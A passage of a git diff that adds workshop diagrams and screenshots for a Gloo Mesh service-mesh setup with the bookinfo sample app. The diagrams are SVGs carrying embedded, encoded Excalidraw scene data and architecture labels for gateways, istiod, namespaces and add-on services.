ipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/platform/2-5/default/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/platform/2-5/default/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/platform/2-5/default/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/platform/2-5/default/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/platform/2-5/default/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/platform/2-5/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/platform/2-5/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/platform/2-5/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv1AKUJUoexwdLtcdTAwMWKUkkgzmDM/nPPXS83VrnLi+PjhWlx1MDAxNFxump89ptl5vdb8hlJBQamQljekYVx1MDAxZvStVlTlXHUwMDFhzZfLflWN46O3cSOIMOA6irVl7fm+cX+VfVx1MDAxN62YKNdaXHUwMDAxjJtDRVnNo35cdTAwMWE/XGbv84k4SuC3Tlx1MDAwMOPOzmfNaY7G6tPS8SnNPqJp9+YygHEvejSNxqiXbJ/eXlxmxmM8fMzul/uzXHRTOlx1MDAxM8ohMSX1SLab345y/1x1MDAwMdbefFx1MDAxMFFMXHTA2VuVcUv5UWWf5LXjJqHOeFx1MDAxN/8kQJlodbtHmfKgdvRPJ19dWr5PcNptwGer2HIx2Vx1MDAxZlPdiTFcdHZccpalTFx1MDAxMqX0XHUwMDE2tl7p8bWp758v4iedi+dMNf/+ftq+jzbAJCZcdTAwMDbPIzqQXHUwMDEzXHUwMDFkXFxcdTAwMWO5XHUwMDFiwiQ29vtgSVvCyUcwoFJCwFx1MDAwYlxyjSdDyXJw5EnllydcdTAwMGLdbrPeqXRjlT58sdwpXHL+6XTy7TJcYrhi2ZE/xa78Oez23Jhz6TlWOdF7irvxJfeI9uGUKKH9e9FcdTAwMDfvJ9XRuEbPXG7ppFx1MDAxOOZcdTAwMDGLXHUwMDE1T4dR50ssLe3Ol1x1MDAxMpHgQthd+ZI6XHUwMDA0ra/zJWHMxFx1MDAwZoeYeb5Pkt+BYnRcdTAwMDNierNd0eZ5p1x1MDAxOXqy/I9VduB5qt2Dk2GhucTbZCF6pypElempxaUmXGYoSyMqVpWxJJY0XHUwMDE310hTtV+kvqu7R1xui2vNNFx1MDAxN1x1MDAxY1x1MDAxOFvJdVx1MDAxMYAsmCHIJS2RYFx1MDAxMittS/z6KVx1MDAxM1x1MDAxOFx1MDAxNYxRXHUwMDE1ovsnXFxVPVx1MDAxOOb7w5N6p1TvVFc/XHUwMDAzal98spA4v1xusqR8JE7NJUBxNPixmJRcdTAwMGJcboJcdTAwMWN2XHI2RWBq+1Y13zPzJlx1MDAxNidcdTAwMTKWXHUwMDE0a9BcdTAwMGKCXGL+81x1MDAxYv9dPER+MDztttv1ITzqTbfeXHUwMDE5Oj7SsWG+Wjm/xt/wUPbPVrm0Z0ZcXN67xb+OXHUwMDE2dDz/5ePf//cvx2/HXFxpbP6pXHUwMDAzeS1G/Mv+c2tcdTAwMTHDJFt9d5H/oDXnmPhcdTAwMGZcIvbWLFGVMCBCuElnllJcdTAwMGK79fNcdTAwMDNWUFx1MDAwZZTGQLiYY1x1MDAxZrkyr3BcdTAwMDRcZnHwJyNLXHUwMDEzXG5izkR2XHUwMDBiYSo/rFxuXHUwMDE4KYSmSKPfRMC4iVx1MDAxMW/ouiRGYDFMKi2QMCVUaEVs3/ohRrhFXHUwMDEwXHUwMDAyk1x1MDAwZUtcdTAwMDJrqyVbk1wivkSbd1x1MDAxYdzynIg22kzARlL4N1x1MDAxM2xtUlx1MDAxOFvyY1ZcdTAwMDJcdTAwMDPd/V6yjdClv18j7C1F24bUX3dcdTAwMDQlsSCAKbZcYj7qkXJcdTAwMWZPcq99epZKX1x1MDAwYplcdTAwMWK8VnW0o7CxQJ7JjtzkQpKAwrBXPZH7XHUwMDFkmFx1MDAwMcdcdTAwMDLFYFx1MDAxYc1cdTAwMDOz91ns8nh6cYJbp6ei8Zg+viuis+hcdTAwMWWYPZxeM5VcdTAwMTk+t3msN72NMfJeq/gsXHUwMDBi5jlu9ub8lpL35PNFPJHJXo/qd/XOXVx1MDAwMONcdTAwMDa+vJtOSJxvuFx1MDAxOHaNnkJP71wi7sjMlLgwsSb+jT/v9YzoXHRcdFxiL+0pvFx1MDAxOFx1MDAwNu1cdTAwMTGM8Np0RLJRgK3H4FxiUHmKSlx1MDAxOZ53NoInJr1+tzQqXHUwMDBle/mqs18mrDicXHK6edVbY5/mXHUwMDFl8EK5XHUwMDFlloB5Soi04buNLJpuntyVupXabSV13VXl6vnlw8StYmhU0Fx1MDAwNVvJXHUwMDFlXy2lwFRgXGZcdTAwMWE0ujB4lCBcdTAwMWHNXHUwMDFjL0FopjHl6UbjZthJ1yentfO4XHUwMDBiXGbYXHUwMDA2XYQ07FdcdTAwMDMt/dJFvl6qXHUwMDBleOn9+rGTrzynyOlzXHUwMDAw41x1MDAwNr68m0CL81xyXHUwMDBmXHRa3Fx1MDAwNVwiwZhcdTAwMGLFt8l69V7PqIJcdTAwMTbGPOtVXG4hXHUwMDAys7h2iFx1MDAxNF4vSSlcdTAwMTlAXHUwMDE0ZFx1MDAwZmn+XHUwMDAzYEqpXGbgoTVwhihq6euBQZRcclxuflx1MDAxNaL8muLu8IQyV1x1MDAxM4IzqqjiW1x1MDAxND57r5wnyplscSaOxzHdw1x1MDAxOf6YdrMgolx1MDAwMk9cdTAwMDTyhCdcdTAwMTKQQ0ThicJEKqojmoJ+diUqM/30OD7LvLaBcNJvj++x/XHE11x1MDAxYTYsXHUwMDE0XHUwMDEx0nSH53qWeX5KTpsk0c+PR3GZXHUwMDFlJUJccjp1fpBcdTAwMDOiXHUwMDEzaqusvlx1MDAxYUOjtOJqmzwm722KKjhcdTAwMTHIXHUwMDEznEhFXHUwMDBlXHROXHUwMDFj0pgw52BG6j/Kh9LPXHUwMDBm652qXHUwMDBiOFx0K4/JW72vgpNfU9xcdTAwMDOcuJdtUJgrXHUwMDEzbuzfvUmOmT4rydf8tJxcdTAwMWXn+8niXVbeRlx1MDAxY5xIY1xiePlOdFTBXHTWTCnJWIhxp/ugk8a01bwu3N+owv1VoVF9LKaafZcziW1cdTAwMTTo11x1MDAxYTasg5mQpvv56MT5QVx1MDAwZYpO0Oq7i1x1MDAwM1x1MDAxZiyRQGyL0rze+1x1MDAxNFV4XCIl9vadyGj5Tlx1MDAxOMdMMVx1MDAwMFV/XHUwMDE0PCm/18vjz/WdbFDwa/Dk51x1MDAxND1cdTAwMTnRNSjOXvJ3lVx1MDAxM8m8MjTbXCLu1tuLvVx1MDAxNSeSz+NEQaWlpVx1MDAxNlxmU61cZiktc1wi18JSiFKMsVDSvVx1MDAwZty+jKioxangkjOp4LLVXHUwMDEyWqSqXHUwMDExSyNFTUM6TFx1MDAxNF3nUlx1MDAwNfJCKIpcdTAwMGVcdTAwMTeO/ymRcd4noEeLKDRcdTAwMTNPysHURVxiXHUwMDEwnFx1MDAxMEQge7zpryg0alGQxppiLqjQZD1cYs1XaJy3z3N5UoaYTLV/hCU2zVx1MDAwN8XapLRFMGNYXGJFKJPyI1xm9otGxrlcdTAwMTK3udbIejHcX/afW0s3wdy9IJKZWMktQuK8YWZUhZsk1FwiSFxujYBcdTAwMDeFzbnwU7YpXHUwMDBiwYtcdTAwMTZKYcmxe9TvvtJNalx1MDAwYitOJUZcdTAwMDQpxJVDu1x1MDAxOFx1MDAxMMMm/0FcdTAwMTKm5vGgq8KNXGKuOWCQ8Fx1MDAxMMjXXHUwMDEybiBGwDSlhGhlsJmiNqb6JdqYJShcYjelYOtB+Fx0uZts88Yky3NcdTAwMDKkKI1cdTAwMWJLc8Wwdlxi+lx1MDAwNTtcdTAwMWOQXHUwMDA1U4IpjTGnXzvo15WwzbVK0ltcbrZcclx1MDAxMTlk9d2P9GVMwaqQW1x1MDAwNM0l7tKj9+tYb4JTeDxcIvX+NT1x8ypFxoYyx8/avVx1MDAxOCjT2p9cdPX5rX5gblxitsfmpI+SV+nrdfpcdTAwMTGuelx1MDAxZVx1MDAwYlx1MDAwNCRAt+lcdTAwMWR610s2jjmtnlx1MDAwZk6m2dfn1mum+5aPPi9cYi9eXHUwMDEwlPhzsVx1MDAxZaTRXHUwMDBmWF9S84i2r/56jX6Ua/484DxcdTAwMDRcZkH9K4a7wVls+NZEb3eZ2Fx1MDAxYj95jyWTtZdoXHUwMDFmN4Ci9WJcdTAwMDVORHDl+Fx1MDAwMz5tQExSTomOZlwiyE2l0jjNXHUwMDBlume9XFw/l22fNth54Ti6MZXvsefs6LbWTbZksXL1Uu7Oklx1MDAwM1x1MDAxMcC4/HZ0VinN1EtV3uVzuVYu/db0KVx1MDAxMDzHXHJpeUNcdTAwMWH2+Vq0XHUwMDEyiedXObrsXHUwMDBlrp/v1etbtb/XKmwsx+/4IJ8gbd3bXHUwMDEyucJcdTAwMGVcdTAwMDKQQ1xusk0rWu99iijskFx1MDAwNld4yFrG/JUqOUzaiqRcdTAwMThxMM3+qJCLQ6WtbEBcdTAwMTLhpK1Q917RXHUwMDA0cdC1xlx1MDAxYumbRes3w7uz2vVgpppjPDq91MVRXHUwMDE2R1x1MDAxYlxmcUE97Vx1MDAwMu6zcdhcdTAwMDHAXHUwMDEw0ZxLRlU0zYKpJG/t8XOx03pJXHUwMDE2s5V0LNfW9/ur1ZCG/WpcdTAwMThrNpXq9Fx1MDAwMuez5WSO3DVeLuhgelx1MDAxM8C4X2XXNmEh51x1MDAxYlx1MDAxZVx1MDAxMFx1MDAwYlH3XHUwMDFjXiHBuGdiXHUwMDBiXHUwMDBmjPdyRlx1MDAxNFxucaE8JS18XHUwMDFjlNlcdTAwMTlMMozWmmD2Z7VoPEQyzFx1MDAwNtRcdTAwMTBCMoxytUtcdTAwMTjV3JRW8s2KT+1BIVx1MDAxM384LTZPkpnk2/Esn7raqa7pZ/p/PCGPXHUwMDE0PnuEXHUwMDFkXHUwMDAw8mDMgS0pjmYuzPvd9aAx0bysX17uhzr9LtXl6/7K82tcclx1MDAxYlx1MDAxNjL5KquwsbqI41xyXHUwMDBmiUzc3eHYlGNcIpj4d9J4L2dEkYkknshEKnZIZLKeXHSjuFKMcPJnhZpcdTAwMWUgXHUwMDEzZoNyXHUwMDBmIVx1MDAxM0Z69EJQXHUwMDFhKHGbmuuoRGKjLmq+00m60UiU3u7UTcTLiCilvd0xPks7fz42Ici0R6Q8okXKrp50u69cdTAwMWFcdTAwMGY3d3ft+Kz+Osn1+0/7q8+vNWxYJ1Nfa1x1MDAxNYJHaJswj/ODXHUwMDFjXHUwMDE087hcdTAwMTeDVIrOY479u7299ymioEdp5u2O0Z92MuVcdTAwMGL0YMY1o4hcdTAwMWXO21x1MDAxZLX8mpBAz1x1MDAwNtRcdTAwMTBsfo3wKDpNhFRAgv750NvZXHUwMDFl0VxidOAxXHUwMDBiXHUwMDEz4EKsJVJcdTAwMWPjZT7kWluIf0p2XHIlinLOXHUwMDExZlRQh/jzjdk1XHUwMDFh3qNUsa/ag8ZnXHUwMDAwuvdB7dFydo1plISoXCJcdTAwMTL2WWjtXHUwMDEwglx1MDAxZUx2jbdcdTAwMTP1yCO7XHUwMDA20z8hu8aZuM1cdTAwMTVado3kXHUwMDFl7e5cdTAwMTEoVq23SK/xxq5cdTAwMTFcdTAwMTVuilx0i1xugjRcIiDf7KkpP0CG6dGKPim9hlxuwTmgXHUwMDE5MNKEdOjcsSm9Rlx1MDAwM+GAXHRcdTAwMWWi1+VrSTfYOo00IdTUIFZUyfDSa7whyZF7eo3LpH6z/Fx1MDAxYWfKNtee+TWuok1cdNc+8KbKMdDkXHUwMDE2uTXe9mhEJZvG0uKMMrBcdTAwMTS5XHUwMDA0ubBaPYmY0o6YXHUwMDAzqDNcdTAwMDF0q/NcblCwXHUwMDE5atZcdTAwMWOkK2PEeKBcdTAwMWOMKSBcdTAwMDKYXGIhgFx1MDAxZpkg61xyiVxiKD3TeiG8bJtISDbfUlx1MDAwNCBcdTAwMTIz6aBcXFx1MDAxMFxy21x1MDAwYqpcdTAwMWGvQyTMXHUwMDAx3HFmuI7ATmOkd5Nt3j7mlVlcdTAwMDEjM8xcdFx1MDAxMFxy3Fx1MDAwZjmkRVx1MDAwM5pEXGJcZidcdTAwMGVcdTAwMTY9WFxm4otcdTAwMDM3V+o211x1MDAxYV1vKd08PfHMPV5HwZRcdTAwMTTgXHUwMDAw/9gtfn+OTquxs+vLzv1dNicnJ5V6xINcdTAwMDRApViEXCLMlZy/LqzwuXzDOsAkXHUwMDEx125IOznigVx1MDAxOVx1MDAxNZCEjmZYZPfm/UH00uPU1biSnzTGt+eFu5Poxi+evd6e4lxmu1x1MDAxOHdcdTAwMGJcdTAwMTl88zTU6eQkXHUwMDFiwLj